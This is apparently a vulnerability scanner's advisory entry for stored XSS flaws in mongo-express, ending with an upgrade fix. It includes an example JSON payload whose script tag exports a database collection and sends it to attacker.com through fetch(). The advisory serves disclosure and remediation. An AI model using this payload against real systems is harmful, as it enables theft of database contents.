QID 982047

QID 982047: Nodejs (npm) Security Update for mongo-express (GHSA-7p8h-86p5-wv3p)

Two kinds of XSS were found:

1. As mentioned in https://github.com/mongo-express/mongo-express/issues/577 when the content of a cell grows larger than supported size, clicking on a row will show full document unescaped, however this needs admin interaction on cell.
2. Data cells identified as media will be rendered as media, without being sanitized. Example of different renders: image, audio, video, etc.



As an example of type 1 attack, an unauthorized user who only can send a large amount of data in a field of a document may use this payload:
```JSON
{"someField": "long string here to surpass the limit of document ...... <script> await fetch('http://localhost:8081/db/testdb/export/users').then( async res => await fetch('http://attacker.com?backup='+encodeURIComponent((await res.text())))) </script>" }
```
This will send an export of a collection to the attacker without even admin knowing. Other types of attacks such as dropping a database\collection are also possible.

  • CVSS V3 rated as High - 6.1 severity.
  • CVSS V2 rated as Medium - 4.3 severity.
  • Solution
    Upgrade to `v1.0.0-alpha.4`
    Vendor References

    CVEs related to QID 982047

    Software Advisories
    Advisory ID Software Component Link
    GHSA-7p8h-86p5-wv3p mongo-express URL Logo github.com/advisories/GHSA-7p8h-86p5-wv3p

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